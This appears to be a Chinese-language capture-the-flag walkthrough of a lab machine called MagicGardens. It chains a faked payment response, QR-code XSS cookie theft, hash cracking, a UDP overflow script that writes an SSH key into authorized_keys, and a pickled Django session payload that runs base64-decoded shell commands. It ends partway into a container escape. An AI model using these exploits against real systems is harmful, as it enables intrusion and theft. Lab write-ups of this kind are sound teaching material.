USER nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 └─$ sudo nmap -sS 10.129.104.149 -p22,25,80,1337,5000, -sV --min-rate=3000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 05:42 EDT Stats: 0:01:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 60.00% done ; ETC: 05:44 (0:00:40 remaining) Nmap scan report for 10.129.104.149 (10.129.104.149) Host is up (0.47s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 25/tcp open smtp? 80/tcp open http nginx 1.22.1 1337/tcp open waste? 5000/tcp open ssl/http Docker Registry (API: 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port1337-TCP:V=7.94SVN%I=7%D=5/22%Time=664DBE1E%P=x86_64-pc-linux-gnu%r SF:(GenericLines,15,"\[x\]\x20Handshake\x20error\n\0" )%r(GetRequest,15,"\[ SF:x\]\x20Handshake\x20error\n\0" )%r(HTTPOptions,15,"\[x\]\x20Handshake\x2 SF:0error\n\0" )%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0" )%r(RPCCSF:heck,15,"\[x\]\x20Handshake\x20error\n\0" )%r(DNSVersionBindReqTCP,15,"\ SF:[x\]\x20Handshake\x20error\n\0" )%r(DNSStatusRequestTCP,15,"\[x\]\x20Han SF:dshake\x20error\n\0" )%r(Help,15,"\[x\]\x20Handshake\x20error\n\0" )%r(TeSF:rminalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0" )%r(X11Probe,15, SF:"\[x\]\x20Handshake\x20error\n\0" )%r(FourOhFourRequest,15,"\[x\]\x20Han SF:dshake\x20error\n\0" )%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0" )SF:%r(LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0" )%r(LDAPBindReq,15 SF:,"\[x\]\x20Handshake\x20error\n\0" )%r(LANDesk-RC,15,"\[x\]\x20Handshake SF:\x20error\n\0" )%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0" )%SF:r(NCP,15,"\[x\]\x20Handshake\x20error\n\0" )%r(NotesRPC,15,"\[x\]\x20Han SF:dshake\x20error\n\0" )%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0" )%rSF:(ms-sql-s,15,"\[x\]\x20Handshake\x20error\n\0" )%r(afp,15,"\[x\]\x20Hand SF:shake\x20error\n\0" )%r(giop,15,"\[x\]\x20Handshake\x20error\n\0" );Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 191.92 seconds
先简单访问下端口看看都是什么服务
1337
5000 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 └─$ curl -s -k https://10.129.104.149:5000/v2/_catalog|jq { "errors" : [ { "code" : "UNAUTHORIZED" , "message" : "authentication required" , "detail" : [ { "Type" : "registry" , "Class" : "" , "Name" : "catalog" , "Action" : "*" } ] } ] }
80 就是个http了
因为5000有认证没法访问
所以突破重心还是放在了web
我先扫了一哈vhost和webdir,vhost没收获,dir倒是爆出来个django
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 301 GET 0l 0w 0c http://magicgardens.htb/login => http://magicgardens.htb/login/ 301 GET 0l 0w 0c http://magicgardens.htb/search => http://magicgardens.htb/search/ 301 GET 0l 0w 0c http://magicgardens.htb/register => http://magicgardens.htb/register/ 200 GET 36l 234w 16516c http://magicgardens.htb/static/store/logo.png 200 GET 112l 199w 14103c http://magicgardens.htb/static/store/star.png 200 GET 15l 73w 5934c http://magicgardens.htb/static/store/twitter.png 200 GET 14l 80w 4316c http://magicgardens.htb/static/store/facebook.png 200 GET 16l 128w 7376c http://magicgardens.htb/static/store/cart_dark.png 200 GET 157l 611w 9042c http://magicgardens.htb/catalog/Rose 200 GET 147l 572w 8604c http://magicgardens.htb/catalog/Chrysanthemum 200 GET 9l 68w 5087c http://magicgardens.htb/static/store/youtube.png 200 GET 17l 113w 7571c http://magicgardens.htb/static/store/instagram.png 200 GET 161l 616w 9222c http://magicgardens.htb/catalog/Carnation 200 GET 151l 654w 9132c http://magicgardens.htb/catalog/Tulip 200 GET 126l 541w 7382c http://magicgardens.htb/catalog/Lilium 200 GET 17l 219w 16221c http://magicgardens.htb/static/store/cart.png 200 GET 143l 575w 8420c http://magicgardens.htb/catalog/Gerbera 200 GET 151l 621w 8911c http://magicgardens.htb/catalog/Orchid 200 GET 140l 588w 8139c http://magicgardens.htb/catalog/Snowdrop 200 GET 122l 519w 7112c http://magicgardens.htb/catalog/Iris 301 GET 0l 0w 0c http://magicgardens.htb/profile => http://magicgardens.htb/profile/ 200 GET 156l 479w 35302c http://magicgardens.htb/static/store/catalog.png 200 GET 163l 651w 48532c http://magicgardens.htb/static/store/favicon.png 200 GET 139l 325w 21887c http://magicgardens.htb/static/store/login.png 200 GET 150l 456w 30261c http://magicgardens.htb/static/store/heart.png 301 GET 0l 0w 0c http://magicgardens.htb/subscribe => http://magicgardens.htb/subscribe/ 301 GET 0l 0w 0c http://magicgardens.htb/cart => http://magicgardens.htb/cart/ 403 GET 7l 9w 153c http://magicgardens.htb/media/uploads/ 403 GET 7l 9w 153c http://magicgardens.htb/static/store/ 200 GET 1385l 7878w 615881c http://magicgardens.htb/media/uploads/gerbera.jpg 200 GET 853l 5257w 330945c http://magicgardens.htb/media/uploads/lilium.jpg 301 GET 0l 0w 0c http://magicgardens.htb/wish_list => http://magicgardens.htb/wish_list/ 403 GET 7l 9w 153c http://magicgardens.htb/static/ 301 GET 0l 0w 0c http://magicgardens.htb/catalog => http://magicgardens.htb/catalog/ 301 GET 0l 0w 0c http://magicgardens.htb/admin => http://magicgardens.htb/admin/ 200 GET 1091l 7314w 577616c http://magicgardens.htb/media/uploads/iris.jpg 403 GET 7l 9w 153c http://magicgardens.htb/media/ 200 GET 2336l 13564w 1082094c http://magicgardens.htb/static/store/promo.jpg 200 GET 1816l 11145w 869024c http://magicgardens.htb/media/uploads/tulip.jpg 200 GET 1048l 6639w 459217c http://magicgardens.htb/media/uploads/snowdrop.jpg 200 GET 0l 0w 255080c http://magicgardens.htb/media/uploads/orchid.jpg 200 GET 0l 0w 518517c http://magicgardens.htb/media/uploads/%D1%81hrysanthemum.jpg 200 GET 0l 0w 498589c http://magicgardens.htb/media/uploads/rose.jpg 200 GET 0l 0w 398855c http://magicgardens.htb/media/uploads/carnations.jpg 200 GET 0l 0w 280602c http://magicgardens.htb/static/store/bootstrap.css 200 GET 0l 0w 290998c http://magicgardens.htb/static/store/promo_2.png 200 GET 458l 1853w 30861c http://magicgardens.htb/ 301 GET 7l 11w 169c http://magicgardens.htb/static/store => http://magicgardens.htb/static/store/ 301 GET 7l 11w 169c http://magicgardens.htb/media/uploads => http://magicgardens.htb/media/uploads/ 301 GET 7l 11w 169c http://magicgardens.htb/static/admin => http://magicgardens.htb/static/admin/ 301 GET 7l 11w 169c http://magicgardens.htb/static/admin/img => http://magicgardens.htb/static/admin/img/
尝试-未登录状态下
看到这里我可以填写地址啥的直接一个xss,但是没有返回,不过这个目前我还没登陆的状态下是这样的,等一会登录再试试。
这里提交订单后有显示提交成功,其中提到
24小时内会有他们经理和我联系,并且出示QR码会有优惠
这里我考虑到会联系我应该有两种可能:
1.登陆后有联系渠道
2.直接给我邮箱服务器发邮件
由于我着实没想到我除了劫持他dns解析之外他怎么给我发邮件,所以一会登录再测测这个功能。
再看看有没有sql注入
这里试了下没有
看了下能不能通过重置密码爆破出用户..发现全是200所以这个pass
然后是我当时枚举的时候,发现它有账号注册的地方,就考虑注册用户遍历,当时是跑出来目标用户名了,不过当时我拿着也没啥鸟用..
有坑的地方
这个我想随便构造个参到购物车,加完之后购物车,访问购物车直接error 500,要re机器才行..(添加收藏也是一样的,不要轻易尝试)
尝试-登录状态下
这波登录之后尝试了下这个购买功能还是没有xss,然后我看说是买20个免运费,然后又买了20个还是不行,所以最终这个部分pass了
这部分我尝试了下xss也是不行,上传也是g
再找到这个账户升级的页面,但是要扣钱,最主要的是还一直是失败
不过我看到他是有请求到这三个银行的,所以我觉得可能他会存在银行的servername或者别的接口,所以我这里优先把这三个银行域名添加到host然后进行dir爆破。
然后发现确实是存在的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └─$ feroxbuster -u http://magicalbank.htb/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -d 3 ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://magicalbank.htb/api 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 3 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 10l 21w 179c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 0l 0w 0c http://magicalbank.htb/api/sessions => http://magicalbank.htb/api/sessions/ 301 GET 0l 0w 0c http://magicalbank.htb/api/createAccount => http://magicalbank.htb/api/createAccount/ 301 GET 0l 0w 0c http://magicalbank.htb/api/payments => http://magicalbank.htb/api/payments/
然后对着几个接口进行了访问
1 2 └─$ curl http://magicalbank.htb/api/createAccount/ -XPOST {"accountCode" : "9125649562" , "pspReference" : "UD8DPQ6qQ0UK2" }
这个接口我没看懂是干啥的,我寻思是要拿着这个塞cookies里,然后去访问银行..试了半天并不是。
这位更是逆天,直到我写wp时都没搞明白这个session接口是干啥的。
然后我试了下是不是存在ssrf还是啥的,发现有蹊跷,这里我给了个127.0.0.1他直接给报错了,如果是连接的银行的话会是下面这个样子
转半天才会报错,所以我猜测他可能是需要访问到接口才可以,所以他正常是访问到了bank的api的,估计是出了啥问题,所以当时用mitmweb 开了个监听然后把转发站点改成了magicalbank.htb,进行一个看他俩站点交互时候到底发生了神魔事。
芝士商城的请求
芝士bank的返回
1 2 3 4 5 6 { "cardname" : "123" , "cardnumber" : "123" , "message" : "Payment Required" , "status" : "402" }
我当时以为是银行没钱导致的,所以改了一下请求的钱数umount,bank返回还是402。考虑到这个应该是有问题,所以尝试换个方向思考,是不是验证由商城那边做的,是对bank哪个返回值做出了判断还是有进一步的联动校验。
..所以写个了假返回简单试了下,一开始我给的是访问会返回status 200
,试了下没啥反应,然后又改了改加了银行测返回的json
里status
的值和别的几个key,发现改了status
成了。喜提vip
这是脚本
1 2 3 4 5 6 7 8 9 10 11 from flask import Flaskapp = Flask(__name__) @app.route('/' , defaults={'path' : '' } ) @app.route('/<path:path>' , methods=['POST' ] ) def catch_all (path ): return '{"status": "200", "message": "Payment Required", "cardname": "123", "cardnumber": "aa"}' , 200 if __name__ == '__main__' : app.run(host="0.0.0.0" ,port=3000 )
get QR
坑点 这里千万返回消息要给全了,他好像是会匹配四个key,全有才行,我手贱message去掉了,直接账户卡这个页面了。
这里我留了个小坑咦嘻嘻。
这里我已经是大会员了,购买时候尝试一下信息里给xss,试了下还是不行。
不过拿到QR之后再尝试买东西就会有人联系了,
这里我卡了很长时间,xss直接丢过去是不行的。最后朋友提醒了一下是因为对面那需要扫二维码,所以是二维码可以做xss。
按照这个思路我发现download时候好像可以用他的base64自定义二维码内容..不过给xss的语句出来的二维码,扫时候发现会被过滤掉。
没办法就还是去找了个生成的:
https://cli.im/text/other
https://www.the-qrcode-generator.com/
这俩都成
然后发给对面等了半天就喜提cookies了
1 GET /?c=csrftoken=TQfakXOEyOcqpaUwwnu4JTwHdlCyBxwc;%20sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1sBrZf:Hfxfpt7QMKfaGCzyy_Xg0tM8OGgFXonT_TYGAQeTtpg
LOGIN morty
可以看到是登陆到了morty这个用户的(这里弱智了,应该去登录django的,在这又试了半天商城)
然后去登陆一下django,在一顿乱点之下发现了个hash,我还以为要上cve来着..
hashcat 跑了下
1 pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE /U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers
SSH morty 没想到ssh直接进来了..
1 2 3 4 5 6 7 8 9 10 11 └─$ ssh morty@10.10.11.9 morty@10.10.11.9's password: Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. morty@magicgardens:~$ ls
这里简单收集了一下主机信息,这部分没啥特别重要的东西。
快进到ps看到alex的进程,脱下来harvest直接开pwn。
这里harvest分为server和cli,所以我的思路是alex开着server,所以审计重点应该是在server部分。
这里检测s1
系不系server
,一眼arg
给server
,所以这个就是server
入口
接着就到了harvest_listen
监听方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void __fastcall __noreturn harvest_listen (unsigned int a1, __int64 a2, const char *a3, __int64 a4) { unsigned int v4; struct sockaddr addr ; int optval; unsigned int v9; unsigned int raw_socket; int fd; fd = socket(2 , 1 , 0 ); raw_socket = create_raw_socket(a3); optval = 1 ; v9 = 0 ; if ( fd == -1 ) { puts ("[x] Socket creation failed" ); exit (1 ); } if ( setsockopt(fd, 1 , 2 , &optval, 4u ) < 0 ) { puts ("[x] Failed to reuse address option" ); exit (1 ); } v4 = v9; BYTE1(v4) = BYTE1(v9) | 8 ; if ( fcntl(fd, 2 , v4) ) { puts ("[x] fcntl server error" ); exit (1 ); } addr = 0LL ; addr.sa_family = 2 ; *(_DWORD *)&addr.sa_data[2 ] = htonl(0 ); *(_WORD *)addr.sa_data = htons(a1); if ( bind(fd, &addr, 0x10 u) ) { puts ("[x] Bind failed" ); exit (1 ); } if ( listen(fd, 5 ) ) { printf ("[x] Listen on port %d failed\n" , a1); exit (1 ); } printf ("[*] Listening on interface %s\n" , a3); handle_connections((unsigned int )fd, raw_socket, a2, a4); }
需要关注handle_connections((unsigned int)fd, raw_socket, a2, a4)
方法,因为上面都是初始化啥的,因为他服务端那边都跑起来了所以暂时先过掉。
这个方法是监听连接的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 for ( m = 0 ; ; ++m ) { if ( m > v20 ) goto LABEL_7; if ( (readfds.fds_bits[m / 64 ] & (1LL << (m & 0x3F ))) != 0 ) { if ( m == a1 ) { v11 = accept(a1, 0LL , 0LL ); if ( v11 < 0 ) { puts ("[x] Failed to accept connection" ); continue ; } if ( (unsigned int )harvest_handshake_server((unsigned int )v11, a3) ) { v4 = v15; BYTE1(v4) = BYTE1(v15) | 8 ; if ( fcntl(v11, 2 , v4) ) { puts ("[x] fcntl client error" ); exit (1 ); } v9[v11 / 64 ] |= 1LL << (v11 & 0x3F ); if ( v11 > v20 ) v20 = v11; } } if ( m == a2 ) { memset (s, 0 , sizeof (s)); handle_raw_packets((unsigned int )m, s, a4); } } if ( (v9[m / 64 ] & (1LL << (m & 0x3F ))) != 0 ) handle_client((unsigned int )m, v9, (unsigned int )v20, s); } }
这里其实我卡了一天多,主要找不到利用点,然后朋友说先用harvest_handshake_server
方法让它进监听模式后面才有得搞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall harvest_handshake_server (int a1, const char *a2) { size_t v2; size_t v4; char buf[64 ]; char s[16 ]; __int128 v7; __int128 v8; __int128 v9; memset (buf, 0 , sizeof (buf)); read(a1, buf, 0x40 uLL); *(_OWORD *)s = 0LL ; v7 = 0LL ; v8 = 0LL ; v9 = 0LL ; strcpy (s, "harvest v" ); v2 = strlen (s); strcpy (&s[v2], a2); *(_WORD *)&s[strlen (s)] = 10 ; if ( !strcmp (s, buf) ) { v4 = strlen (s); write(a1, s, v4); puts ("[*] Successful handshake" ); return 1LL ; } else { puts ("[x] Handshake error" ); write(a1, "[x] Handshake error\n" , 0x15 uLL); close(a1); return 0LL ; } }
其实重点的就下面这段
1 2 3 4 5 6 7 ··· strcpy(s, "harvest v"); v2 = strlen(s); strcpy(&s[v2], a2); *(_WORD *)&s[strlen(s)] = 10; if ( !strcmp(s, buf) ) ···
要buf
和s
的值一致才可以,可以看到s
一开始被赋值了harvest v
,所以比较简单的方式还是发个包然后debug..
于是下个断点看看,我选在这里,因为看到他有给s最初的harvest v
,所以跟着往下走走看cmp那会变成啥。
往下跟了跟到了strcmp,因为我用的客户端连接的嘛 所以这个部分就1.0.3
肯定是客户端发过去的了,所以验证是指定能过得,所以我们要构造的发送包要带着harvest v1.0.3,以防万一再抓了个包看看
可以看到确实是发了个这个玩意
1 2 3 4 5 6 └─$ echo 'harvest v1.0.3'|nc 127.0.0.1 1337 harvest v1.0.3 -------------------------------------------------- Source: [00:0c:29:b9:eb:93] [192.168.221.131] Dest: [00:50:56:c0:00:08] [192.168.221.1] Time: [07:45:52] Length: [86]
朋友让用nc连接发包试试,确实行。
顺便看下下面的m会变成什么,断点下到这里好了
在经过几次循环后这里cmp时候就是一样的0x4了,然后就进了handle_raw_packets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 __int64 __fastcall handle_raw_packets (int a1, int a2, __int64 a3) { char *v3; __int64 result; char dest[10 ]; time_t timer; char v8[32 ]; char v9[32 ]; char s[14 ]; __int16 v11; int v12; __int16 *v13; unsigned int v14; memset (s, 0 , 0xFFFF uLL); v14 = recvfrom(a1, s, 0xFFFF uLL, 0 , 0LL , 0LL ); timer = time(0LL ); v3 = ctime(&timer); strncpy (dest, v3 + 11 , 8uLL ); dest[8 ] = 0 ; if ( v14 <= 0x27 ) { puts ("Incomplete packet " ); close(a1); exit (0 ); } v13 = &v11; v12 = 255 ; sprintf ( v9, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" , (unsigned __int8)s[6 ], (unsigned __int8)s[7 ], (unsigned __int8)s[8 ], (unsigned __int8)s[9 ], (unsigned __int8)s[10 ], (unsigned __int8)s[11 ]); sprintf ( v8, "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" , v12 & (unsigned int )s[0 ], v12 & (unsigned int )s[1 ], v12 & (unsigned int )s[2 ], v12 & (unsigned int )s[3 ], v12 & (unsigned int )s[4 ], v12 & (unsigned int )s[5 ]); if ( *(_BYTE *)v13 == 69 ) print_packet((_DWORD)v13, a3, a2, (unsigned int )v9, (unsigned int )v8, (unsigned int )dest, (__int64)s); result = *(unsigned __int8 *)v13; if ( (_BYTE)result == 96 ) return log_packet(v13, a3); return result; }
然后我就看见它进来给几个参申请了好大一段空间..
1 2 3 4 5 6 7 ··· if ( *(_BYTE *)v13 == 0x45 ) print_packet((_DWORD)v13, a3, a2, (unsigned int )v9, (unsigned int )v8, (unsigned int )dest, (__int64)s); result = *(unsigned __int8 *)v13; if ( (_BYTE)result == 0x60 ) return log_packet(v13, a3); ···
这一段其实是判断包头信息,比如我这里用的是ipv4的地址连接,它的包头就会有69,比如
这个样子
这个是ipv6
其实这个溢出点就是对ipv6处理进入到这个log_packet里面发生的..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __int64 __fastcall log_packet (__int64 a1, const char *a2) { uint16_t v3; char format[65360 ]; char dest[40 ]; FILE *stream; v3 = htons(*(_WORD *)(a1 + 4 )); if ( v3 ) { strcpy (dest, a2); strncpy (format, (const char *)(a1 + 60 ), v3); *(_WORD *)&format[v3] = 10 ; stream = fopen(dest, "w" ); if ( stream ) { fprintf (stream, format); fclose(stream); puts ("[!] Suspicious activity. Packages have been logged." ); } else { puts ("Bad log file" ); } } return 0LL ; }
知道了溢出点就可以狠狠出击了,直接构造个大的发过去,需要注意得先让他进了监听模式再跑。
1 2 3 4 5 6 7 8 └─$ cat v6v2.py import socketserver_address = ('::1' ,666 ) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data=b'' *65364 s.send(data)
这里在调用_IO_new_file_fopen的时候文件名就是被溢出冲掉了
1 2 3 4 5 6 _IO_new_file_fopen ( QWORD var_0 = 0x000055555555a6d0 → 0x00000005fbad248c , QWORD var_1 = 0x00007ffffffed650 → "Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw[...]" , QWORD var_2 = 0x00005555555579d1 → 0x6f6c206461420077 ("w" ?), int var_3 = 0x0000000000000001 )
变成了Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw
我这里用的msf-pattern
1 2 3 4 5 └─$ msf-pattern_offset -q Fu8F -l 65501 [*] Exact match at offset 4524 [*] Exact match at offset 24804 [*] Exact match at offset 45084 [*] Exact match at offset 65364
从65364开始排着往后试,看哪个部分是写文件名的。
好吧65364就是,但是很奇怪我是这么给的
1 2 3 4 5 6 7 8 9 import socketserver_address = ('::1' ,666 ) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data=open ('./list' ,'rb' ).read().replace(b'\n' ,b'' )+b'aaaaaaaaaaaaaaaa' s.send(data)
list我里面写了65364个字符,然后又给了16个a,最后写出来的文件名是9个a,也就是被程序吞掉了7个,所以我要再给垃圾字符串+7个试试。
1 msf-pattern_create -l 65371 > list
然后再调用,就成了
然后再看内容有没有被溢出影响到
1 2 └─$ cat aaaaaaaaaaaaaaa Aa4Aa5Aa6Aa7Aa....
查下Aa4是多少位溢出的尝试写入
1 2 3 4 5 └─$ msf-pattern_offset -q Aa4A -l 65372 [*] Exact match at offset 12 [*] Exact match at offset 20292 [*] Exact match at offset 40572 [*] Exact match at offset 60852
这个就不用排着试了..
1 2 └─$ wc aaaaaaaaaaaaaaa 0 1 65375 aaaaaaaaaaaaaaa
65372+16-65375-1=12 (因为wc会自动多计算一位所以-1)
所以最后可以控制写入文件名+文件内容就可以写公钥了
1 2 3 4 5 6 7 import socket server_address = ('::1' ,11111) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect(server_address) data=b'A' *12+open('./id_rsa.pub' ,'rb' ).read ()+open('./list1' ,'rb' ).read ().replace(b'\n' ,b'' )+b'/home/alex/.ssh/authorized_keys' s.send(data)
这里要自己算一下公钥长度以决定垃圾数据长度,反正要先找到具体多少溢出可以写文件名然后减一下公钥长度就出来了。
然后到morty用户连一下server,再跑脚本就成功写入了。
再ssh登录到alex用户就ok
ROOT 这里我进来后跑了下linpeas其实..但是没翻到什么,其实我眼瞎了,一开始有邮件提示的,我是在linpeas跑到fail2ban找他漏洞时候看到有mail才想到顺便去看mail..
这里再/var/mail下有一个alex
和一个root
只能看alex,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 alex@magicgardens:/var/mail$ cat alex From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023 Return-Path: <root@magicgardens.magicgardens.htb> X-Original-To: alex@magicgardens.magicgardens.htb Delivered-To: alex@magicgardens.magicgardens.htb Received: by magicgardens.magicgardens.htb (Postfix, from userid 0) id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="1804289383-1695994309=:37178" Subject: Auth file for docker To: <alex@magicgardens.magicgardens.htb> User-Agent: mail (GNU Mailutils 3.15) Date: Fri, 29 Sep 2023 09:31:49 -0400 Message-Id: <20230929133149.3CDA93FC96@magicgardens.magicgardens.htb> From: root <root@magicgardens.magicgardens.htb> --1804289383-1695994309=:37178 Content-Type: text/plain; charset=UTF-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit Content-ID: <20230929093149.37178@magicgardens.magicgardens.htb> Use this file for registry configuration. The password is on your desk --1804289383-1695994309=:37178 Content-Type: application/octet-stream; name="auth.zip" Content-Disposition: attachment; filename="auth.zip" Content-Transfer-Encoding: base64 Content-ID: <20230929093149.37178.1@magicgardens.magicgardens.htb> UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE 6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44S q4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIe AwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pG ZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA= --1804289383-1695994309=:37178--
可以看到这就是包含了docker registry configuration登陆方式的一个压缩包,是root发过来的..当时我都快忘了还有5000了。
这里base64输出到zip,然后用zip2john导一下跑密码就ok
1 2 └─$ hashcat '$pkzip$1*2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$' -m 17225 /usr/share/wordlists/rockyou.txt --show $pkzip$1 *2*2*0*54*48*b238a674*0*42*0*54*a86e*55bfb1d475afb746692439ee9c951465cbc9afce77d2292fdfd18cd61c542dc1497d32cb3578045b64dd514dee678e12ab82fa65c73b1e6500d38d628e389d306f6249ed0cff2d6d7f6ce331583a0db7350127c9*$/pkzip$:realmadrid
解压出来有个htpasswd
1 2 └─$ cat htpasswd AlexMiles:$2y$05$KKShqNw .A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq
接着跑
1 2 hashcat '$2y$05$KKShqNw.A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq' -m3200 /usr/share/wordlists/rockyou.txt --show $2y$05$KKShqNw .A66mmpEqmNJ0kuoBwO2rbdWetc7eXA7TbjhHZGs2Pa5Hq:diamonds
然后拿着密码去看下5000里都有啥
可以参考
https://book.hacktricks.xyz/network-services-pentesting/5000-pentesting-docker-registry
1 2 └─$ python3 drg.py -U AlexMiles -P diamonds https://magicgardens.htb --list [+] magicgardens.htb
有个镜像 这个直接dump下来翻就行了,其实全部解压比较好,主要我硬盘没空间了,所以就挨个压缩包看了,有点折磨
然后在480311b89e2d843d87e76ea44ffbb212643ba89c1e147f0d0ff800b5fe8964fb.tar.gz
压缩包里找到个app目录里面有.env,其中包含SECRET_KEY。
因为我之前做过python的web框架的反序列化的题目..所以看到SECRET_KEY一眼顶针,不过还是找了下salt,然后发现salt是默认的。
然后找利用脚本找了好久,朋友发过来一个才发现其实找到的第一个就是可以用的,是我的payload错了..在那疯狂touch /tmp/xxx,然后用alex去宿主机的/tmp看有没有文件生成,忘了这是image目标是跑在docker里的,打昏头了属于是 XD
这里用的这位师傅的脚本https://www.cnblogs.com/-zhong/p/13463486.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from django.contrib.sessions.serializers import PickleSerializerfrom django.core import signingfrom django.conf import settingssettings.configure(SECRET_KEY='55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b' ) class CreateTmpFile (object ): def __reduce__ (self ): import subprocess return (subprocess.call, (['bash' , '-c' ,'echo xxxxx | base64 -d | bash' ],)) sess = signing.dumps( obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies' ) print (sess)
生成的session替换到web上就可以rce啦
docker 到这里其实就简单了
弹shell进入容器,本来是打算跑个deepce
或者linpea
s的,不过因为capsh --print
输出里有cap_sys_module
,所以速通了。
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_module
按照hacktricks讲的分别创建一个
